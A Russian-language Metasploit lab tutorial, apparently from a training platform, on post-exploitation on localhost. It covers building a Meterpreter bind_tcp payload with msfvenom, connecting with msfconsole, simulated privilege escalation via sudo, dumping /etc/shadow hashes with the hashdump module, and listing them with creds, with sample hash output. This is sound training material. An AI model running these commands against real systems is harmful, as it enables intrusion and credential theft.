Введение
В этой лабораторной работе вы выполните критически важные задачи постэксплуатации с использованием фреймворка Metasploit. Постэксплуатация начинается после того, как злоумышленник успешно скомпрометировал целевую систему. Цель этого этапа — сбор информации, повышение привилегий и извлечение учетных данных (например, хешей паролей) для сохранения доступа или перемещения на другие системы в сети.
Доступ к учетным данным имеет решающее значение, так как один скомпрометированный хост — это часто лишь начало. Пароли и токены служат мостом от локального взлома к более широкому доступу в сети.
Вы будете использовать Meterpreter — продвинутый, динамически расширяемый полезный код (payload), предоставляющий мощную командную оболочку. На практике вы научитесь проверять текущие привилегии пользователя, имитировать повышение привилегий, извлекать локальные хеши паролей и сохранять эти данные в базе Metasploit для дальнейшего использования.
Эта последовательность действий не случайна: уровень привилегий определяет, к каким секретам вы можете получить доступ, а полученные секреты часто определяют, куда вы сможете переместиться дальше.
Проверка текущих привилегий (getuid)
На этом этапе вы подготовите среду: установите Metasploit, создадите полезный код Meterpreter и установите первое соединение. После подключения вы используете команду getuid, чтобы определить учетную запись, от имени которой выполняется ваш код.
Знание своей текущей личности — это базовая, но необходимая задача. Многие действия после взлома зависят от того, в контексте какой учетной записи работает сессия.
Сначала установите Metasploit Framework с помощью подготовленного скрипта. Этот процесс загрузит и установит все необходимые компоненты.
sudo /tmp/msfinstall
Metasploit использует базу данных PostgreSQL для отслеживания результатов, таких как извлеченные учетные данные. В этой лабораторной среде msfdb init может самостоятельно подготовить локальную базу данных, поэтому вы можете инициализировать её напрямую:
msfdb init
Если вы увидите сообщение вроде postgresql: unrecognized service, его можно проигнорировать, если команда msfdb init завершилась успешно.
Затем создайте полезный код Linux Meterpreter. Полезный код — это вредоносная программа, которая выполняется на целевой системе. Мы создадим bind_tcp payload, который открывает порт на цели и ожидает нашего подключения.
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
Если вы впервые используете Metasploit в этой лабораторной среде, перед запуском msfvenom может появиться запрос на начальную настройку. Когда вас спросят, хотите ли вы настроить новую базу данных, ответьте yes и дождитесь завершения настройки. После этого msfvenom продолжит работу и сохранит файл полезного кода.
Сделайте созданный файл исполняемым:
chmod +x ~/project/payload.elf
Теперь запустите полезный код в фоновом режиме. Это имитирует ситуацию, когда жертва запускает вредоносный файл на своей системе.
./payload.elf &
Когда полезный код запущен и ожидает подключения на порту 4444, используйте msfconsole для подключения к нему. Следующая команда автоматически настроит обработчик (handler) и подключится к вашему коду, открыв сессию Meterpreter.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Как только соединение будет установлено, вы увидите приглашение meterpreter >. Чтобы проверить текущие привилегии, введите следующую команду:
getuid
Вы должны увидеть вывод, похожий на этот, указывающий на то, что вы работаете от имени стандартного пользователя labex:
Server username: uid=1000, gid=1000, euid=1000, egid=1000
Повышение привилегий (getsystem)
В реальных сценариях стандартных прав пользователя часто недостаточно для выполнения критических задач, таких как дамп хешей паролей. Злоумышленникам необходимо повысить свои привилегии до максимального уровня.
В средах Windows Meterpreter предоставляет команду getsystem, которая автоматически пытается использовать различные методы для повышения привилегий до NT AUTHORITY\SYSTEM. Однако в системах Linux повышение привилегий обычно включает использование локальных уязвимостей или ошибок конфигурации (например, слабые права sudo), чтобы стать пользователем root.
Поскольку мы практикуемся в среде Linux, мы имитируем успешное повышение привилегий, запустив наш полезный код с помощью sudo.
Сначала завершите текущую сессию Meterpreter стандартного пользователя, введя:
exit
Это закроет сессию и вернет вас в стандартный терминал Linux. Дождитесь появления обычного приглашения оболочки, которое выглядит примерно так: labex:project/ $. Только после этого переходите к следующей команде.
Теперь снова запустите полезный код, но на этот раз используйте sudo, чтобы запустить его от имени пользователя root. Символ & запустит его в фоновом режиме.
sudo ./payload.elf &
Подключитесь к новому, привилегированному полезному коду с помощью msfconsole, как вы делали это ранее:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
Когда появится приглашение meterpreter >, убедитесь, что вы успешно повысили привилегии, снова проверив свой ID пользователя:
getuid
Вывод теперь должен подтверждать, что у вас есть доступ системного уровня (root). В этой среде наиболее распространенный вывод:
Server username: root
Некоторые сборки Meterpreter могут показывать более подробную числовую форму, например uid=0, gid=0, euid=0, egid=0. Обе формы указывают на то, что сессия запущена с правами суперпользователя.
Выполнение Hashdump
Теперь, когда у вас есть доступ системного уровня, вы можете выполнять продвинутые задачи постэксплуатации. Одной из самых важных является извлечение хешей паролей.
Именно здесь повышение привилегий превращается в реальный операционный результат. Более высокие привилегии полезны тем, что открывают доступ к защищенным хранилищам учетных данных и конфиденциальному состоянию системы.
В Windows злоумышленники используют команду hashdump для извлечения хешей из базы данных SAM (Security Account Manager). В Linux хеши паролей пользователей хранятся в файле /etc/shadow, который доступен для чтения только пользователю root. Metasploit предоставляет специальный модуль постэксплуатации для автоматизации извлечения и парсинга этих хешей Linux.
В активной сессии Meterpreter с правами root выполните модуль дампа хешей Linux, введя:
run post/linux/gather/hashdump
Вы увидите вывод, указывающий на то, что Metasploit извлек один или несколько хешей учетных записей и сохранил результаты в директории loot.
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
Эти извлеченные хеши впоследствии могут быть подвергнуты офлайн-атакам по подбору паролей с использованием таких инструментов, как John the Ripper или Hashcat, для восстановления паролей в открытом виде, что позволит продолжить горизонтальное перемещение по сети.
Сохранение хешей в базе данных (creds)
Главное преимущество использования Metasploit Framework — его способность автоматически управлять данными, которые вы собираете во время работы. Поскольку вы инициализировали базу данных на первом этапе, Metasploit автоматически сохраняет хеши паролей, которые вы только что извлекли.
Чтобы просмотреть сохраненные учетные данные, вам нужно вернуться в основное приглашение msfconsole. Вы можете сделать это, отправив текущую сессию Meterpreter в фоновый режим.
В приглашении Meterpreter введите:
background
Вы вернетесь к приглашению msf6 >. Теперь используйте команду creds, чтобы отобразить все учетные данные, которые Metasploit собрал и сохранил в своей базе данных:
creds
Вывод отобразит структурированную таблицу, содержащую IP-адрес хоста, порт, имя пользователя и извлеченный хеш пароля.
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
Такое централизованное управление учетными данными невероятно полезно во время масштабных тестов на проникновение, позволяя легко отслеживать скомпрометированные учетные записи и повторно использовать их в других модулях Metasploit.
Чтобы выйти из msfconsole и завершить лабораторную работу, введите:
exit
Если Metasploit предупредит, что у вас все еще открыта активная сессия, введите exit -y, чтобы закрыть консоль и завершить работу.
Резюме
В этой лабораторной работе вы успешно прошли критические этапы постэксплуатации с использованием Metasploit Framework. Вы научились устанавливать сессию Meterpreter, проверять текущие привилегии с помощью getuid и поняли важность повышения привилегий (имитируя цель getsystem). Кроме того, вы использовали модули постэксплуатации Metasploit для выполнения hashdump, извлекая локальные хеши паролей из целевой системы. Наконец, вы изучили, как Metasploit автоматически управляет этими находками, позволяя просматривать сохраненные учетные данные с помощью команды creds. Эти навыки являются фундаментальными для оценки безопасности систем и понимания того, как злоумышленники перемещаются внутри сети.



